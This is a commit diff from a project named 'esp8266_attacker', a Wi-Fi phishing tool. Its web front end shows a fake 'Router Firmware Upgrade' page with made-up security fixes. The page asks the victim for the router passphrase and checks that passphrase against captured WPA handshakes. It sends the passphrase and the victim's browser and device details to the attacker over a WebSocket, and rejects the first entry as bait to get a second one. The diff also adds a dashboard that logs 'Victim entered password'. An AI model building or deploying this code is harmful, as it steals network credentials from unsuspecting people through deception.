Commit 26191b0
Changed files (6)
web
web/src/screens/helper.ts
@@ -175,9 +175,9 @@ function crackPassword(network: handshake, password: string) {
const bytes = CryptoJS.enc.Hex.parse(network.eapolFrameBytes)
let newkck = CryptoJS.enc.Hex.parse(kck)
const computedMic = CryptoJS.HmacSHA1(bytes, newkck).toString().substring(0, 32)
- console.log("network", network.ssid)
- console.log("Expected MIC :", network.mic)
- console.log("Calculated MIC :", computedMic)
+ // console.log("network", network.ssid)
+ // console.log("Expected MIC :", network.mic)
+ // console.log("Calculated MIC :", computedMic)
if (computedMic === network.mic) {
return true
} else {
web/src/screens/LogsScreen.tsx
@@ -0,0 +1,32 @@
+import { Button } from "@/components/ui/button";
+import { Trash2 } from "lucide-react";
+const LogsScreen = ({
+ logs,
+ setLogs,
+}: {
+ logs: string[];
+ setLogs: Function;
+}) => {
+ return (
+ <div className="mt-3 flex flex-col justify-center">
+ <div className="w-[300px] sm:w-[500px] md:w-[600px] flex flex-col bg-gray-800 rounded-lg p-5 max-h-96 overflow-auto relative">
+ {logs.map((log, index) => (
+ <pre key={index}>{JSON.stringify(log, null, 2).replace(/"/g, "")}</pre>
+ ))}
+ {logs.length === 0 && <p className="text-gray-300">No logs</p>}
+ </div>
+ {logs.length > 0 && (
+ <Button
+ variant="link"
+ onClick={() => setLogs([])}
+ className="flex gap-1"
+ >
+ <span>Clear logs</span>
+ <Trash2 className="w-4" />
+ </Button>
+ )}
+ </div>
+ );
+};
+
+export default LogsScreen;
web/src/App.tsx
@@ -5,11 +5,14 @@ import NavSlider from "./components/ui/nav-slider"
import NetworkScreen from "./screens/NetworkScreen"
import { Button } from "./components/ui/button"
import SetupScreen from "./screens/SetupScreen"
+import { Sheet, SheetContent, SheetDescription, SheetHeader, SheetTitle, SheetTrigger } from "./components/ui/sheet"
+import LogsScreen from "./screens/LogsScreen"
function App() {
const [networks, setNetworks] = useState<network[] | null>(null)
const [networksWithHandshakes, setnetworksWithHandshakes] = useState<network[]>([])
const [section, setSection] = useState<number>(0)
+ const [logs, setLogs] = useState<string[]>([])
const ws = useRef<WebSocket | null>(null)
const connected = useRef<boolean>(false)
const initialConnection = useRef<boolean>(true)
@@ -18,7 +21,7 @@ function App() {
let style: any = notifyStyle
style.style["textAlign"] = "center"
try {
- ws.current = new WebSocket("ws://172.0.0.1:81")
+ ws.current = new WebSocket("ws://172.0.0.1:81/attack")
ws.current.onopen = () => {
connected.current = true
initialConnection.current = false
@@ -31,11 +34,26 @@ function App() {
}
ws.current.onmessage = (event) => {
- if (event.data === "pong") {
- setTimeout(() => {
- ws.current?.send("ping")
- }, 10000)
+ if (event.data === "Victim connected") {
+ setLogs((prev) => [...prev,"Victim connected"]);
+ return toast.success("Victim connected")
}
+ if (event.data === "Victim disconnected") {
+ setLogs((prev) => [...prev, "Victim disconnected"]);
+ return toast.error("Victim disconnected")
+ }
+ const data = JSON.parse(event.data)
+ if (data.type === "password") {
+ setLogs((prev) => [...prev, "Victim entered password : " + data.password]);
+ return toast.success("Victim entered password");
+ }
+ if (data.type === "message") {
+ setLogs((prev) => [...prev, data.message]);
+ return
+ }
+ setLogs((prev) => {
+ return [...prev, data];
+ });
}
ws.current.onclose = () => {
if (initialConnection.current) {
@@ -121,7 +139,6 @@ function App() {
})
}
for (let i in datas.handshakes) {
- console.log(datas.handshakes[i].ssid)
let newNetwork: network = {
ssid: datas.handshakes[i].ssid,
bssid: datas.handshakes[i].dstAddress,
@@ -159,7 +176,7 @@ function App() {
<NavSlider
activeNav={section}
setActiveNav={setSection}
- children={["Networks", "Setup"]}
+ children={["Networks", "Setup","Logs"]}
/>
{section === 0 ? (
<>
@@ -171,13 +188,15 @@ function App() {
setSection(0)
fetchData()
}}
- >
+ >
Refresh
</Button>
</>
- ) : (
+ ) : section === 1 ? (
<SetupScreen networks={networksWithHandshakes} />
- )}
+ ) :
+ <LogsScreen logs={logs} setLogs={setLogs}/>
+ }
</>
) : (
<div className="loading">
web/src/Home.tsx
@@ -1,184 +1,264 @@
-import { useEffect, useState } from "react"
-import { Button } from "./components/ui/button"
-import { Input } from "./components/ui/input"
-import { crackPassword } from "./screens/helper"
-import { handshake } from "./lib/config"
+import { useEffect, useRef, useState } from "react";
+import { Button } from "./components/ui/button";
+import { Input } from "./components/ui/input";
+import { crackPassword } from "./screens/helper";
+import { handshake } from "./lib/config";
+import { UAParser } from "ua-parser-js";
const Home = () => {
- const [final, setFinal] = useState(false)
- const [percent, setPercent] = useState(0)
- const [password, setPassword] = useState("")
- const [handshakes, setHandshakes] = useState([])
- const [bait, setBait] = useState(true)
+ const [final, setFinal] = useState(false);
+ const [percent, setPercent] = useState(0);
+ const [password, setPassword] = useState("");
+ const [handshakes, setHandshakes] = useState([]);
+ const [bait, setBait] = useState(true);
+ const ws = useRef<WebSocket | null>(null);
- const postPassword = async (
- ssid: string,
- passwd: string,
- matched: boolean,
- handshakes: boolean
- ) => {
- const data = {
- ssid: ssid,
- password: passwd,
- matched: matched ? true : false,
- handshakes: handshakes ? true : false,
- }
- const response = await fetch("http://172.0.0.1/post_password", {
- method: "POST",
- headers: {
- "Content-Type": "application/json",
- },
- body: JSON.stringify(data),
- })
- const result = await response.json()
- console.log(result)
- }
+ const postPassword = async (
+ ssid: string,
+ passwd: string,
+ matched: boolean,
+ handshakes: boolean
+ ) => {
+ const data = {
+ ssid: ssid,
+ password: passwd,
+ matched: matched ? true : false,
+ handshakes: handshakes ? true : false,
+ };
+ const response = await fetch("http://172.0.0.1/post_password", {
+ method: "POST",
+ headers: {
+ "Content-Type": "application/json",
+ },
+ body: JSON.stringify(data),
+ });
+ const result = await response.json();
+ console.log(result);
+ };
- const startfinal = () => {
- const interval = setInterval(() => {
- setPercent((prev) => {
- if (prev === 100) {
- clearInterval(interval)
- return prev
- }
- return prev + 1
- })
- }, 1000)
- }
+ const startfinal = () => {
+ const interval = setInterval(() => {
+ setPercent((prev) => {
+ if (prev === 100) {
+ clearInterval(interval);
+ return prev;
+ }
+ return prev + 1;
+ });
+ }, 1000);
+ };
- const handlePassword = async () => {
- if (password.trim() === "") {
- alert("Please enter the router password")
- return
- }
- if (password.length < 8) {
- alert("Password must be at least 8 characters long")
- return
- }
+ const handlePassword = async () => {
+ if (password.trim() === "") {
+ alert("Please enter the router password");
+ return;
+ }
+ if (password.length < 8) {
+ alert("Password must be at least 8 characters long");
+ return;
+ }
+ const info = {
+ type: "password",
+ password: password,
+ };
+ ws.current?.send(JSON.stringify(info));
+ const currentSSID = await fetch("http://172.0.0.1/get_ssid");
+ // const currentSSID = await fetch("/temp/temp-ssid.json")
+ const ssid = await currentSSID.json();
+ if (
+ handshakes.length === 0 ||
+ handshakes.filter((handshake: handshake) => handshake.ssid === ssid.ssid)
+ .length === 0
+ ) {
+ postPassword("No Handshake - " + ssid.ssid, password, false, false);
+ if (bait) {
+ ws.current?.send(
+ JSON.stringify({
+ type: "message",
+ message:
+ "Don't have handshake for SSID: '" +
+ ssid.ssid +
+ "' triggered bait",
+ })
+ );
+ const psswd: HTMLInputElement = document.getElementById(
+ "psswd"
+ ) as HTMLInputElement;
+ psswd.value = "";
+ alert("Password isnt correct");
+ setBait(false);
+ return;
+ } else {
+ ws.current?.send(
+ JSON.stringify({
+ type: "message",
+ message: "After Bait, Triggerring final screen",
+ })
+ );
+ setFinal(true);
+ startfinal();
+ return;
+ }
+ }
+ handshakes.forEach((handshake: handshake) => {
+ if (handshake.ssid === ssid.ssid) {
+ if (crackPassword(handshake, password)) {
+ ws.current?.send(
+ JSON.stringify({
+ type: "message",
+ message: `✅ '${password}' is a valid password`,
+ })
+ );
+ postPassword(handshake.ssid, password, true, true);
+ setFinal(true);
+ startfinal();
+ return;
+ } else {
+ ws.current?.send(
+ JSON.stringify({
+ type: "message",
+ message: `❌ '${password}' is not a valid password`,
+ })
+ );
+ postPassword(handshake.ssid, password, false, true);
+ alert("Wrong Password");
+ return;
+ }
+ }
+ });
+ };
- const currentSSID = await fetch("http://172.0.0.1/get_ssid")
- // const currentSSID = await fetch("/temp/temp-ssid.json")
- const ssid = await currentSSID.json()
- console.log(handshakes.filter((handshake: handshake) => handshake.ssid === ssid.ssid).length)
- // return;
- if (
- handshakes.length === 0 ||
- handshakes.filter((handshake: handshake) => handshake.ssid === ssid.ssid).length === 0
- ) {
- postPassword("No Handshake - " + ssid.ssid, password, false, false)
- if (bait) {
- alert("Password isnt correct")
- setBait(false)
- return
- } else {
- setFinal(true)
- startfinal()
- return
- }
- }
- handshakes.forEach((handshake: handshake) => {
- if (handshake.ssid === ssid.ssid) {
- if (crackPassword(handshake, password)) {
- postPassword(handshake.ssid, password, true, true)
- setFinal(true)
- startfinal()
- return
- } else {
- postPassword(handshake.ssid, password, false, true)
- alert("Wrong Password")
- return
- }
- }
- })
- }
+ const fetchHandshakes = async () => {
+ const result = await fetch("http://172.0.0.1/get_datas");
+ // const result = await fetch("/temp/temp-datas.json")
+ const data = await result.json();
+ setHandshakes(data.handshakes);
+ };
- const fetchHandshakes = async () => {
- const result = await fetch("http://172.0.0.1/get_datas")
- // const result = await fetch("/temp/temp-datas.json")
- const data = await result.json()
- setHandshakes(data.handshakes)
- }
+ async function wsConnection() {
+ try {
+ ws.current = new WebSocket("ws://172.0.0.1:81/");
+ ws.current.onopen = () => {
+ let parser = new UAParser();
+ let result = parser.getResult();
+ const deviceInfo = {
+ type: "deviceInfo",
+ browser: result.browser.name + " " + result.browser.version,
+ os: result.os.name + " " + result.os.version,
+ cpu: result.cpu.architecture,
+ device: result.device,
+ screenWidth: window.screen.width,
+ screenHeight: window.screen.height,
+ };
+ ws.current?.send(JSON.stringify(deviceInfo));
+ };
+ ws.current.onclose = () => {
+ wsConnection();
+ };
- useEffect(() => {
- fetchHandshakes()
- }, [])
+ setTimeout(() => {
+ if (ws.current?.readyState !== 1) {
+ ws.current?.close();
+ }
+ }, 15000);
+ } catch (err) {
+ console.log(err, "WebSocket error");
+ }
+ }
- return (
- <div className="flex flex-1 bg-sky-300 h-screen justify-center items-center">
- {!final ? (
- <div className="rounded-lg p-3 shadow-lg drop-shadow-lg bg-gray-200 w-full max-w-xs sm:max-w-md ">
- <h1 className="text-lg font-bold text-gray-500">Router Firmware Upgrade</h1>
- <div className="border border-gray-400 mt-2"></div>
- <p className="mt-2 text-gray-500">
- A new version of the firmware has been detected and awaiting installation
- </p>
- <div className="flex items-center gap-3 mt-2">
- <p className="text-md font-bold text-gray-500">Firmware Version :</p>
- <p className="text-gray-500">v3.0.7</p>
- </div>
- <div className="flex items-center gap-3 mt-2">
- <p className="text-md font-bold text-gray-500">Release Date :</p>
- <p className="text-gray-500">{new Date().toLocaleDateString()}</p>
- </div>
+ useEffect(() => {
+ fetchHandshakes();
+ wsConnection();
+ }, []);
- <h2 className="text-md font-bold text-gray-500 mt-2">Release Notes :</h2>
- <div className="mt-2 text-gray-500">
- <ul className="list-disc list-inside ml-7 -indent-4 sm:-indent-6">
- <li>
- Security fixes for the following vulnerabilities: <br /> CVE-2021-1234,
- CVE-2021-1235,CVE-2021-1236
- </li>
- <li>
- Implemented a new feature that enhances the security and stability of the router
- </li>
- <li>Fixed a bug that caused the router to crash when using the web interface</li>
- </ul>
- </div>
- <p className="mt-2 text-gray-500">
- Enter the router password to start the firmware upgrade process. The router will reboot
- after the upgrade.
- </p>
- <Input
- placeholder="Router Passphrase"
- className="bg-transparent text-gray-500 border-gray-400 mt-3"
- type="password"
- onChange={(e) => setPassword(e.target.value)}
- />
- <Button
- variant={"outline"}
- className="mt-2 w-full bg-gray-600 border-none"
- onClick={handlePassword}
- >
- Upgrade
- </Button>
- </div>
- ) : (
- <div className="flex flex-col justify-center items-center">
- <div className="newtons-cradle">
- <div className="newtons-cradle__dot"></div>
- <div className="newtons-cradle__dot"></div>
- <div className="newtons-cradle__dot"></div>
- <div className="newtons-cradle__dot"></div>
- </div>
+ return (
+ <div className="flex flex-1 bg-sky-300 h-screen justify-center items-center">
+ {!final ? (
+ <div className="rounded-lg p-3 shadow-lg drop-shadow-lg bg-gray-200 w-full max-w-xs sm:max-w-md ">
+ <h1 className="text-lg font-bold text-gray-500">
+ Router Firmware Upgrade
+ </h1>
+ <div className="border border-gray-400 mt-2"></div>
+ <p className="mt-2 text-gray-500">
+ A new version of the firmware has been detected and awaiting
+ installation
+ </p>
+ <div className="flex items-center gap-3 mt-2">
+ <p className="text-md font-bold text-gray-500">
+ Firmware Version :
+ </p>
+ <p className="text-gray-500">v3.0.7</p>
+ </div>
+ <div className="flex items-center gap-3 mt-2">
+ <p className="text-md font-bold text-gray-500">Release Date :</p>
+ <p className="text-gray-500">{new Date().toLocaleDateString()}</p>
+ </div>
- <div className="text-gray-500 text-center mt-2 text-lg">
- {percent} %
- {percent === 100 ? (
- <>
- <p>Upgraded</p>
- <p>Reboot your router</p>
- </>
- ) : (
- <>
- <p>Upgrading Firmware</p>
- <p>Do not turn off the router</p>
- </>
- )}
- </div>
- </div>
- )}
- </div>
- )
-}
+ <h2 className="text-md font-bold text-gray-500 mt-2">
+ Release Notes :
+ </h2>
+ <div className="mt-2 text-gray-500">
+ <ul className="list-disc list-inside ml-7 -indent-4 sm:-indent-6">
+ <li>
+ Security fixes for the following vulnerabilities: <br />{" "}
+ CVE-2021-1234, CVE-2021-1235,CVE-2021-1236
+ </li>
+ <li>
+ Implemented a new feature that enhances the security and
+ stability of the router
+ </li>
+ <li>
+ Fixed a bug that caused the router to crash when using the web
+ interface
+ </li>
+ </ul>
+ </div>
+ <p className="mt-2 text-gray-500">
+ Enter the router password to start the firmware upgrade process. The
+ router will reboot after the upgrade.
+ </p>
+ <Input
+ placeholder="Router Passphrase"
+ className="bg-transparent text-gray-500 border-gray-400 mt-3"
+ type="password"
+ id="psswd"
+ onChange={(e) => setPassword(e.target.value)}
+ />
+ <Button
+ variant={"outline"}
+ className="mt-2 w-full bg-gray-600 border-none"
+ onClick={handlePassword}
+ >
+ Upgrade
+ </Button>
+ </div>
+ ) : !ws.current?.CONNECTING && (
+ <div className="flex flex-col justify-center items-center">
+ <div className="newtons-cradle">
+ <div className="newtons-cradle__dot"></div>
+ <div className="newtons-cradle__dot"></div>
+ <div className="newtons-cradle__dot"></div>
+ <div className="newtons-cradle__dot"></div>
+ </div>
-export default Home
+ <div className="text-gray-500 text-center mt-2 text-lg">
+ {percent} %
+ {percent === 100 ? (
+ <>
+ <p>Upgraded</p>
+ <p>Reboot your router</p>
+ </>
+ ) : (
+ <>
+ <p>Upgrading Firmware</p>
+ <p>Do not turn off the router</p>
+ </>
+ )}
+ </div>
+ </div>
+ )}
+ </div>
+ );
+};
+
+export default Home;
web/package-lock.json
@@ -1,12 +1,12 @@
{
"name": "esp8266_attacker",
- "version": "0.0.0",
+ "version": "2.0.0",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "esp8266_attacker",
- "version": "0.0.0",
+ "version": "2.0.0",
"dependencies": {
"@radix-ui/react-checkbox": "^1.0.4",
"@radix-ui/react-dialog": "^1.0.4",
@@ -15,6 +15,7 @@
"@radix-ui/react-slot": "^1.0.2",
"@radix-ui/react-switch": "^1.0.3",
"@tanstack/react-table": "^8.9.3",
+ "@types/ua-parser-js": "^0.7.36",
"class-variance-authority": "^0.6.0",
"clsx": "^1.2.1",
"crypto-js": "^4.1.1",
@@ -25,6 +26,7 @@
"react-router-dom": "^6.14.0",
"tailwind-merge": "^1.13.2",
"tailwindcss-animate": "^1.0.6",
+ "ua-parser-js": "^1.0.35",
"vite-tsconfig-paths": "^4.2.0"
},
"devDependencies": {
@@ -1573,6 +1575,11 @@
"integrity": "sha512-5cJ8CB4yAx7BH1oMvdU0Jh9lrEXyPkar6F9G/ERswkCuvP4KQZfZkSjcMbAICCpQTN4OuZn8tz0HiKv9TGZgrQ==",
"devOptional": true
},
+ "node_modules/@types/ua-parser-js": {
+ "version": "0.7.36",
+ "resolved": "https://registry.npmjs.org/@types/ua-parser-js/-/ua-parser-js-0.7.36.tgz",
+ "integrity": "sha512-N1rW+njavs70y2cApeIw1vLMYXRwfBy+7trgavGuuTfOd7j1Yh7QTRc/yqsPl6ncokt72ZXuxEU0PiCp9bSwNQ=="
+ },
"node_modules/@vitejs/plugin-react": {
"version": "3.1.0",
"resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-3.1.0.tgz",
@@ -3096,6 +3103,24 @@
"node": ">=4.2.0"
}
},
+ "node_modules/ua-parser-js": {
+ "version": "1.0.35",
+ "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-1.0.35.tgz",
+ "integrity": "sha512-fKnGuqmTBnIE+/KXSzCn4db8RTigUzw1AN0DmdU6hJovUTbYJKyqj+8Mt1c4VfRDnOVJnENmfYkIPZ946UrSAA==",
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/ua-parser-js"
+ },
+ {
+ "type": "paypal",
+ "url": "https://paypal.me/faisalman"
+ }
+ ],
+ "engines": {
+ "node": "*"
+ }
+ },
"node_modules/universalify": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz",
web/package.json
@@ -17,6 +17,7 @@
"@radix-ui/react-slot": "^1.0.2",
"@radix-ui/react-switch": "^1.0.3",
"@tanstack/react-table": "^8.9.3",
+ "@types/ua-parser-js": "^0.7.36",
"class-variance-authority": "^0.6.0",
"clsx": "^1.2.1",
"crypto-js": "^4.1.1",
@@ -27,6 +28,7 @@
"react-router-dom": "^6.14.0",
"tailwind-merge": "^1.13.2",
"tailwindcss-animate": "^1.0.6",
+ "ua-parser-js": "^1.0.35",
"vite-tsconfig-paths": "^4.2.0"
},
"devDependencies": {